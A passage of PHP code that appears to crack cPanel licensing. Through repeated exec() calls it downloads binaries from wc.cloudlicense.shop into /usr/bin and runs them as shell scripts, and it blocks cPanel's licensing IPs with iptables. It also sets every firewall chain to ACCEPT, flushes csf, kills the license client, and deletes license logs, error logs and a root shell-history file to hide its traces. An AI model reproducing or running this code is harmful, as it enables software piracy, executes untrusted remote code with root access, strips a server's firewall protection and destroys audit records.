																		exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																	}

																	$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

																	if (0 < strlen($cpanel_txt)) {
																		if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																			exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																			exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																			exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																			exec('sh /usr/bin/con0 > /dev/null 2>&1');
																			exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																		}
																	}
																}

																$dns = '/usr/local/cpanel/cpanel.lisc';

																if (file_exists($dns)) {
																	$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
																	$pos = strpos($filedns, 'dnsonly');

																	if ($pos !== false) {
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																		exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																		exec('sh /usr/bin/con0 > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																		exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																	}

																	$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

																	if (0 < strlen($cpanel_txt)) {
																		if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																			exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																			exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																			exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																			exec('sh /usr/bin/con0 > /dev/null 2>&1');
																			exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																		}
																	}
																}

																$dns = '/usr/local/cpanel/cpanel.lisc';

																if (file_exists($dns)) {
																	$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
																	$pos = strpos($filedns, 'dnsonly');

																	if ($pos !== false) {
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																		exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																		exec('sh /usr/bin/con0 > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																		exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																	}

																	$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

																	if (0 < strlen($cpanel_txt)) {
																		if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																			exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																			exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																			exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																			exec('sh /usr/bin/con0 > /dev/null 2>&1');
																			exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																		}
																	}
																}

																$dns = '/usr/local/cpanel/cpanel.lisc';

																if (file_exists($dns)) {
																	$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
																	$pos = strpos($filedns, 'dnsonly');

																	if ($pos !== false) {
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																		exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																		exec('sh /usr/bin/con0 > /dev/null 2>&1');
																		exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																		exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																	}

																	$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

																	if (0 < strlen($cpanel_txt)) {
																		if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																			exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																			exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																			exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																			exec('sh /usr/bin/con0 > /dev/null 2>&1');
																			exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																		}
																	}
																}

																$filename3 = '/usr/local/cpanel/cpanel.lisc';

																if (file_exists($filename3)) {
																	exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
																	exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
																	exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
																	exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
																	exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
																	exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																	exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
																	exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
																	exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
																	exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
																	exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
																	exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																					maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
																	exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
																	exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
																	exec('cat /usr/bin/.sysma/procc.conf10 > /usr/local/.recoverit');
																	exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
																	exec('sed -i \'1d\' /usr/local/.recoverit1');
																	exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
																	exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
																	exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																	exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
																	exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
																	exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
																	exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
																	exec('service cpanel restart > /dev/null 2>&1');
																	exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
																	maximum_users();
																	echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
																}
																else {
																	exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
																	exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
																	exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
																	exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
																	exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
																	exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
																	exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
																	exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
																	exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
																	exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
																	exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
																	exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
																	exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
																	exec('timeout 5s csf -f > /dev/null 2>&1');
																	exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
																	exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
																	exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																	exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																	exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																	exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																	exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
																	exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
																	exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
																	exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
																	exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
																	exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
																	exec('/usr/bin/wget -O /usr/bin/.sysma/procc77.conf https://wc.cloudlicense.shop/api/change1?key=' . $key . ' > /dev/null 2>&1');
																	exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc77.conf > /usr/bin/.sysma/procc.conf7');
																	$null = shell_exec('check=$(timeout 30s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf7 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
																	exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
																	$dns = '/usr/local/cpanel/cpanel.lisc';

																	if (file_exists($dns)) {
																		$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
																		$pos = strpos($filedns, 'dnsonly');

																		if ($pos !== false) {
																			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																			exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																			exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																			exec('sh /usr/bin/con0 > /dev/null 2>&1');
																			exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																			exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																			exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																			exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																		}

																		$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

																		if (0 < strlen($cpanel_txt)) {
																			if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																				exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																				exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																				exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																				exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																				exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																				exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																				exec('sh /usr/bin/con0 > /dev/null 2>&1');
																				exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																				exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																				exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																				exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																				exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																				exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																				exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																				exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																				exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																				exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																			}
																		}
																	}

																	$filename3 = '/usr/local/cpanel/cpanel.lisc';

																	if (file_exists($filename3)) {
																		exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
																		exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
																		exec('/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
																		exec('/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
																		exec('/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
																		exec('/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																		exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
																		exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
																		exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1');
																		exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1');
																		exec('/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1');
																		exec('/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1');
																						maximum_users();
                                echo '\n';
				echo 'Cpanel license has been updated and renewed';
                                echo '\n';
																		exec('wget -O /usr/local/cpanel/.ltrc wc.cloudlicense.shop/date/current > /dev/null 2>&1');
																		exec('wget -O /usr/local/cpanel/.ltrc1 wc.cloudlicense.shop/date/current > /dev/null 2>&1');
																		exec('cat /usr/bin/.sysma/procc.conf7 > /usr/local/.recoverit');
																		exec('cat /usr/local/.recoverit > /usr/local/.recoverit1');
																		exec('sed -i \'1d\' /usr/local/.recoverit1');
																		exec('sed -r \'s/\\s+//g\' /usr/local/.recoverit1 > /usr/local/.recoverit2');
																		exec('sed -i\'_is_back\' \'s/cpanel.lisc/cpane1.lisc/g\' /usr/local/cpanel/.cpkeyclt');
																		exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																		exec('cat /usr/local/cpanel/cpanel.lisc > /usr/local/cpanel/cpane1.lisc');
																		exec('rm -rf /usr/bin/.sysma/procc*.conf > /dev/null 2>&1');
																		exec('rm -rf /usr/bin/.sysma/procc.conf* > /dev/null 2>&1');
																		exec('comp0 -i -a /usr/local/cpanel/logs/error_log > /dev/null 2>&1 && rm -rf /usr/local/cpanel/logs/error_log > /dev/null 2>&1');
																		exec('service cpanel restart > /dev/null 2>&1');
																		exec('rm -rf /root/GBCP.lock > /dev/null 2>&1');
																		maximum_users();
																		echo "";
echo "";
echo "\x1b" . '[36m' . 'Cpanel license has been updated and activated!' . "\x1b" . '[0m' . "";
echo "";
echo "";
																	}
																	else {
																		exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
																		exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
																		exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
																		exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
																		exec('for run in {1..10}; do iptables -D INPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
																		exec('for run in {1..10}; do iptables -D INPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
																		exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.85 -j DROP; done > /dev/null 2>&1');
																		exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.86 -j DROP; done > /dev/null 2>&1');
																		exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.3 -j DROP; done > /dev/null 2>&1');
																		exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.83 -j DROP; done > /dev/null 2>&1');
																		exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.121.82 -j DROP; done > /dev/null 2>&1');
																		exec('for run in {1..10}; do iptables -D OUTPUT -s 208.74.123.2 -j DROP; done > /dev/null 2>&1');
																		exec('/usr/bin/rm /usr/local/cpanel/logs/license_log > /dev/null 2>&1');
																		exec('timeout 5s csf -f > /dev/null 2>&1');
																		exec('rm -rf /usr/local/cpanel/cpanel.li* > /dev/null 2>&1');
																		exec('for run in {1..10}; do killall cpkeyclt; done > /dev/null 2>&1');
																		exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																		exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																		exec('umount /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																		exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																		exec('iptables -A OUTPUT -j ACCEPT > /dev/null 2>&1');
																		exec('iptables -I INPUT -j ACCEPT > /dev/null 2>&1');
																		exec('iptables -I OUTPUT -j ACCEPT > /dev/null 2>&1');
																		exec('iptables -P INPUT ACCEPT > /dev/null 2>&1');
																		exec('iptables -P FORWARD ACCEPT > /dev/null 2>&1');
																		exec('iptables -P OUTPUT ACCEPT > /dev/null 2>&1');
																		exec('/usr/bin/wget -O /usr/bin/.sysma/procc11.conf https://wc.cloudlicense.shop/api/change?key=' . $key . ' > /dev/null 2>&1');
																		exec('sed -e \'s/<[^>]*>//g\' /usr/bin/.sysma/procc11.conf > /usr/bin/.sysma/procc.conf8');
																		$null = shell_exec('check=$(timeout 30s /usr/bin/plast -q -f /usr/bin/.sysma/procc.conf8 /usr/local/cpanel/.cpkeyclt 2> /dev/null)');
																		exec('/usr/bin/rm -rf /root/.bash_time > /dev/null 2>&1');
																		$dns = '/usr/local/cpanel/cpanel.lisc';

																		if (file_exists($dns)) {
																			$filedns = file_get_contents('/usr/local/cpanel/cpanel.lisc');
																			$pos = strpos($filedns, 'dnsonly');

																			if ($pos !== false) {
																				exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																				exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																				exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																				exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																				exec('sh /usr/bin/con0 > /dev/null 2>&1');
																				exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																				exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																				exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																				exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																				exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																				exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																				exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																				exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																				exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																				exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																				exec('rm -rf /var/cpanel/dnsonly && /usr/local/cpanel/scripts/restartsrv_cpsrvd > /dev/null 2>&1');
																			}

																			$cpanel_txt = file_get_contents('/usr/local/cpanel/cpanel.lisc');

																			if (0 < strlen($cpanel_txt)) {
																				if (preg_match('/' . $current_ip . '/', $cpanel_txt)) {
																					exec('chattr -ai /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																					exec('rm -rf /usr/local/cpanel/cpane1.lisc > /dev/null 2>&1');
																					exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																					exec('wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/gbmover > /dev/null 2>&1');
																					exec('wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/' . $key . '/cpanelv1/con > /dev/null 2>&1');
																					exec('chmod +x /usr/bin/con0 > /dev/null 2>&1');
																					exec('sh /usr/bin/con0 > /dev/null 2>&1');
																					exec('chmod +x /usr/bin/gbmov0 > /dev/null 2>&1');
																					exec('sh /usr/bin/gbmov0 > /dev/null 2>&1');
																					exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																					exec('rm -rf /usr/bin/gbmov0 > /dev/null 2>&1');
																					exec('rm -rf /usr/bin/con0 > /dev/null 2>&1');
																					exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																					exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																					exec('umount -d /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																					exec('rm -rf /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1');
																					exec('rm -rf /usr/local/cpanel/cpane1.* > /dev/null 2>&1');
																				}
																			}
																		}

																		$filename3 = '/usr/local/cpanel/cpanel.lisc';

																		if (file_exists($filename3)) {
																			exec('/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1');
																			exec('/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1');
